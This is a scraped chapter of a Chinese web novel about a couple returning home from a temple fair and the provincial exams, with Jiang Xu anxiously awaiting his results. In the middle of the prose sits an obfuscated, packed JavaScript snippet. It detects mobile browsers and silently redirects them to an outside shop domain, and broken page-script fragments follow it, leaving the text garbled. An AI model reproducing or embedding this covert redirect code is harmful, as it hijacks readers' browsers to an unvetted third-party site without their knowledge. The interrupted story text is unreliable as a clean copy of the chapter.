寒光寺是江南有命的寺庙,僧侣众多,香火旺盛。
自然而然,每当有庙会的时候,就会有许多小商小贩抓住机会来此兜售商品,因此这一片地方着实不小。
周芷买了一个漂亮的玲兰手环戴在手上,一大早起来赶庙会的困倦都消失的无影无踪。
她兴奋地东张西望,这里人头攒动,江序一直紧紧拉着她的手,生怕二人分开。
“这里好热闹啊!”
周芷一口咬下刚买的薄皮酥酪,酥酥的口感让她格外喜欢。
江序适时地拿出手帕给她擦嘴,“方圆百里,寒光寺最为出名,据说这里的住持道行高深,精通佛法,有许多人慕名而来。”
“这样啊,那他应该很厉害。”
“阿序,我们也去庙里拜拜,求菩萨保佑。”她眼睛一眨,显得格外灵动。
她不信这些,但是来都来了,总得试试,灵不灵的到时候再说,试试又不亏。
她想起来什么,还叮嘱道:“你拜佛的时候记得报上籍贯,姓名和住址,这样菩萨就不会弄错人了,愿望一定会实现!”
要是有身份证号码就好了,就可以把身份证报出来,这样就绝对不会搞错。
江序愕然,他还是头一次听说拜佛这样拜的。
周芷振振有词,“不说清楚这些身份信息,万一菩萨本来想保佑你的,一个不小心搞错了怎么办,再说了,世上说不定有许多个江序,万一有一个和你一样参加科举的呢,还是说了保险。”
江序被她说动了,觉得她的歪理好像还挺正确,君不见科举不也是要认真核对身份,防止有人替考吗?
于是拜佛的时候,他特意加上了自己和周芷的详细身份信息,双手合十,心里默念:神明在上,鄙人江序此生惟愿与吾妻周芷白头到老,一生携手,恩爱缠绵。
他极为虔诚的拜了三拜,还添了不少香油钱。
搞得周芷心里打鼓。
他不会是这次发挥失误,来拜佛寻找心里安慰的吧。
不过,她极为贴心的没有直接问出来。
在这里玩了几天,期间江序收到了瞿元亨传来的信,信中别的没说,只有一句话:一切顺利。
江序也为他松了一口气。
瞿元亨与他不同,在兼顾学业的同时还得提防着家里的豺狼虎豹,不能有片刻的松懈,否则就会落入万劫不复之地。
周芷已经收拾好了行李,他们明天便要启程回南宁府城。
提前给包婆婆结了账,如今她已经不过来了,二人今天的晚饭就成了问题。
“是出去吃还是自己在家做?”
她偏向于自己在家吃,现在外面到处都是考完了出来放松的学子,各大酒楼人满为患,加上有不少人放浪形骸,好好的吃着饭就有可能搞得乌烟瘴气,前几天她去过一次就再也不想再去了。
江序也只想安安静静的和她一起吃一顿饭,便道:“在家吃吧,我来做。”
作为农家子,这些东西是必会的,虽然做的不能说多好吃,但是家常菜没有问题。
他想做,周芷自然乐得轻松,高兴的点菜:“我想吃排骨,还有炒杂菜。”
江序:“好。”
庖屋里都是现成的菜,包婆婆做事很有条理,走之前,一些菜还特意归类分好。
他手脚很快,不仅做好了菜还做了一个汤。
周芷尝了尝,发现味道还不错,没有继承张金花糟糕的手艺,是正常的家常味,于是给予不错的评价:“不错,挺好吃的。”
江序笑了笑,他自是知道自己的手艺不能和她比的。
第二天一早,他们就把行李送上马车,准备打道回府。
任晓源照例还是和他们一起。
与来时相比,回程显得很顺利,一路上也不着急,累了就找个客栈歇脚,一个半月后便到达了南宁府城。
张金花和江老爹提前收到他们在路上发来的信件,早早地打发薛风在城门口等着,十来岁的小伙子脚程快,一见到人便立刻跑回去喊人,连周芷叫他都没听见。
周芷无奈的放下帘子,她想说他坐上马车和他们一起回去不是更快吗?
薛风一脸的兴奋,他今年十四岁,这两年跟着江序读书认字,已经懂事了,加上他被买过来的时候年纪已经不小,知道要不是主家买下他和他爹,他们父子俩现在还不知道在哪呢。
他爹薛长贵如今在江家当门房,负责看管大门,他平时都是跟着他爹住,他爹也老是教导他,说他要懂得知恩图报,要不是主家,他那有的机会读书习字?
周芷还真小看了这小子,他们坐的马车,在城里不能走的太快,还真就没有他跑回家跑得快。
等他们到家时,张金花和江老爹得到消息已经站在家门口等着迎接他们了。
一见到两人全须全尾的回来,张金花立刻眼里泛起了泪花,虽然这几个月太都能收到他们寄的信,但是光看信哪有看到真人好。
再者,她可是听说他们去的时候坐的船上藏着一个山大王,还杀了人,可给她吓死了。
他们写信的时候没告诉她,全都在说一路上很安全,平平安安的到了地方,但是儿行千里母担忧,她又哪能真正放下心?
现在可好,人回来了,她总算能安生睡个好觉。
周芷连忙上前,“阿娘快别哭了,我们这不是好好的回来了吗?”
张金花抹掉泪花,握着她的手,连声应道:“回来就好,回来就好。”
说着还瞪了一眼站着跟个木桩子似的儿子,他一动不动的站那干什么!一点不如阿芷贴心。
江序本是想着等她们说完话再上前安慰,哪曾想无缘无故挨了一记白眼。
婆媳俩相携进门,江老爹拍拍儿子的肩膀,“你娘是太担心了,这几个月吃不好睡不好,你也别在意。”他在家里,被瞪的更惨,有时睡得好好的,都会被她叫起来骂一句,他都习惯了。
江序当然不在意,跟着进了门。
不管怎样,儿子儿媳回来了,张金花还是兴奋居多,高兴的张罗了一大桌菜,吃饭的时候一直在问他们路上怎么样。
周芷和江序挑了些趣事说了,一些比较危险的都默契的缄默不言。
张金花听的津津有味。
一顿饭吃过,张金花便让他们赶紧去休息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093357|136660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
洗漱完,周芷久违的趴在自己的大床上发出舒服的喟叹。
其实她算不上累,这一路上只要累了他们就立刻找了客栈歇息,加上白天在马车里睡了个好觉,现在她兴奋上头,眼睛亮晶晶的,一点都不困。
江序洗漱完,一回来便看见她兴致勃勃地在床上翻滚,抱着被子滚的尤其开心。
“这么高兴?”他走到床前,捧着她的脸,手指一动,拨开她脸上散乱的头发。
周芷有些痒,往后缩了缩,“当然开心,终于回来了,你难道不开心?”
江序笑了笑,他当然也高兴。
蜡烛发出噼里啪啦的响声,动静小,周芷没听见,她在盯着江序的脸看。
她突然发现,现在的江序与她刚认识他的时候简直判若两人。
二十岁的江序病弱缠身,眉眼间萦绕的都是死气,瘦的皮包骨头一般,一双眼睛深深的凹陷进去,睫毛纤长却盖住了眼睛,嘴唇没有一点血色,整个人都是颓丧病态的。
二十三岁的江序则面如冠玉,气宇轩昂,长时间的锻炼让他身姿挺拔,长身玉立,只单单站着便是挺拔的青松,不需要任何人的修剪,几年的阅历也让他的眉眼间流露着不为人知的神秘气息,深邃的眼睛让人猜不透在想什么,斜飞入鬓的眉毛也为他的本应温和的气质注入了凌厉的色彩。
周芷看他看的出神,突然很是自豪,这样的人是她养出来的。
她披着薄被跪坐在床上,眼睛圆溜溜的,很是俏丽单纯,说出的话却让人心折:
“过来,亲我。”
理所当然的语气。
江序却仿佛被什么东西击中一般,不疼不痒,却让他无比的窝心熨贴,这种全身酥麻的感觉在四肢百骸游走,他控制不住,干脆任由心动蔓延。
俯身,吻上红润的唇瓣,细细研磨。
两片唇瓣相贴,说不清是谁更先动情。
红色的烛光跳动,一闪一闪,烛芯再次发出噼啪噼啪的响声,不过,和上次一样,还是没人管它。
帷帐落下,周芷迷朦着双眼,过了好半晌才貌似回过神来,“蜡烛,蜡烛还没灭。”
江序喘着气,贴近她的耳朵,“不用管。”
最后还是没人管这根兢兢业业的蜡烛,烛台上红色的烛油慢慢流淌下来,随后凝结成固态,不经意间看去,仿佛烛台盛开了一朵红色的烛花。
夜深露重,蜡烛的噼啪声还掩盖了屋内传出的细碎的响声。
第二天一早,周芷醒来的时候,江序已经在院中练剑,他没拜过什么名师,练剑也只是随便找了本剑谱练着,主要作用还是锻炼身体。
等周芷醒了,夫妻二人各自收拾好,周芷要去店里看她的生意,一走几个月,哪怕有齐篷和张金花她们看着她还是亲自去看看更加放心。
江序则带着自己默写好的文章去书院请教夫子。
他们是八月三十动身回的南宁府城,路上走了一个半月,如今是十月十四,乡试的成绩也早就出来,按照以往的惯例,如果他中举,来报喜的人最迟十月底便会到来。
如果超出十月份,那便说明了他……没有中举。